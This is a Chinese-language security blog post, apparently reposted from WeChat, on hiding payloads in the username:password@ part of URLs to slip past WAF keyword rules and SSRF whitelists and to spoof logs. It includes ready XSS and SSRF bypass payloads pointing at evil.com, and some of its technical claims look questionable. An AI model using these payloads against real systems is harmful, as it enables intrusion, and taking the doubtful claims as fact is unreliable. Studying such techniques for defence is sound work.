隐藏在 URL Credentials 中的 Payload:被忽视的 Web 绕过路径

admin 2025年6月26日00:35:17评论0 views字数 2334阅读7分46秒阅读模式

本文将详细介绍当前已被主流废弃但仍可在攻击场景中利用的URL Credentials技术,将其扩展用于各种常见漏洞的绕过

一、URL Credentials 原理深度解析

HTTP URL 标准结构:

Plain Text                  scheme://username:password@host/path

这段结构的作用在现代 Web 中基本被废弃(用于 Basic Auth 的场景已不再安全,可以看到在https://developer.mozilla.org/zh-CN/docs/Learn_web_development/Howto/Web_mechanics/What_is_a_URL中已经没有提及)

浏览器厂商为了防止钓鱼攻击,从 2014 年起开始弃用该语法

  • Chrome 59+: 直接去除地址栏显示用户信息。

  • Chrome 65+、Firefox、Safari:全面禁止带有用户名密码的 URL 进行跳转(尤其是 HTTPS 下)。

  • 现代浏览器访问这种格式的 URL,会直接报错、重定向失败、或忽略用户信息部分。

但它依然被现代浏览器和很多网络中间件完整支持和解析。关键点如下:

  • ✅ 浏览器不会将 username:password 发送给目标站点,但会参与URL 的 host 解析

  • ✅ host 部分仍是 @ 之后的部分,因此实际请求发送到了目标主机。

  • ✅ 某些 Web 应用、Nginx、CDN、WAF 会对完整 URL 进行正则处理,从而可能错误解析。

二、攻击核心思想重现

攻击者可以将 payload 插入到 username 、password字段中,这些数据在携带上访问浏览器时并不会看到,服务端可能通常也不会获取注意到,但可以用于做DOM XSS 、混淆日志、绕过 WAF、欺骗 SSRF 验证。

例如

https://foo:[email protected]/

输入在浏览器时,基本隐匿且从location中无法获取到

隐藏在 URL Credentials 中的 Payload:被忽视的 Web 绕过路径

但是可以通过alert(document.URL);获取到,基于此聪明的你应该会想到一些扩展利用的思路,来去做一些DOM XSS

隐藏在 URL Credentials 中的 Payload:被忽视的 Web 绕过路径

例如:

GET /redirect?target=https://<script>alert(1)</script>@evil.com
  • 对于浏览器、真实请求而言,请求的是 evil.com

  • WAF 如果只做“全局 keyword 匹配”或“正则主机检查”,往往会将 <script> 部分忽略或误解

这不是前端 trick,而是后端逻辑处理问题

三、DOM XSS 绕过

目标站点配置:

  • 云 WAF 开启;

  • 拦截规则含:<script>javascript:onloadalert( 等关键词;

  • redirect 接口:/go?url=...

🚫 阻断 Payload:

/go?url=https://evil.com/<script>alert(1)</script>

403 Forbidden

✅ 绕过 Payload(核心):

/go?url=https://<script>alert(1)</script>@evil.com

成功跳转

payload 存于 username 字段,WAF 不检测 @ 前内容

SSR 渲染页面中若拼接该 URL,容易造成二次执行(DOM XSS)

更进一步的攻击方式:

// DOM 拼接型漏洞                  window.location = decodeURIComponent(getParam("url"));       // 用户点击跳转时执行

将前端结合 WAF 绕过一起打爆点。

四、SSRF 白名单绕过的更深层复现

目标场景:

Python                  url = request.GET['url']                  if not url.startswith("https://internal.company.com"):                  return "forbidden"

攻击者构造:

https://[email protected]/data

urllib.parse() 在 Python <3.9 中返回如下结构:

{  "username": "internal.company.com",  "hostname": "evil.com"}

结果:

SSRF 请求实际上打向了 evil.com

白名单校验误判为合法

WAF 误以为走的是可信接口,导致漏洞产生。

五、日志注入与反欺骗

攻击者通过构造如下 URL:

Python                  https://admin:[email protected]/dashboard

系统日志会记录 https://admin:[email protected]

攻击者可以用来诱导安全人员以为 admin 凭据泄露

进一步结合钓鱼页面伪造,构成渗透取证干扰链条

六、防御措施与架构建议(深度)

隐藏在 URL Credentials 中的 Payload:被忽视的 Web 绕过路径

点击图片可查看完整电子表格

七、扩展探讨攻击链

假设目标存在如下组合:

SSRF 接口 /?url=...

DOM 拼接触发跳转

站点部署了主流云 WAF

构造攻击链如下:

url=https://<script>alert(1)</script>@evil.com

绕过 SSRF 白名单校验(走 evil.com)

WAF 不拦截 @ 前 XSS Payload

页面跳转拼接触发 XSS

利用 CSP 不当、Referer 泄露等获取更多信息

八、总结语句

有时候,绕过安全防线不需要很复杂的技术,只需要一处被忽视的老标准 —— URL Credentials。它让攻击者能将恶意 payload 隐匿在 @ 前面,躲过 WAF、日志、白名单验证,打通 SSRF、XSS、钓鱼链路。下一次审计 URL 时,不妨认真看看 @ 之前,藏着什么鬼。

原文始发于微信公众号(暴暴的皮卡丘):隐藏在 URL Credentials 中的 Payload:被忽视的 Web 绕过路径

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日00:35:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   隐藏在 URL Credentials 中的 Payload:被忽视的 Web 绕过路径http://cn-sec.com/archives/4169088.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息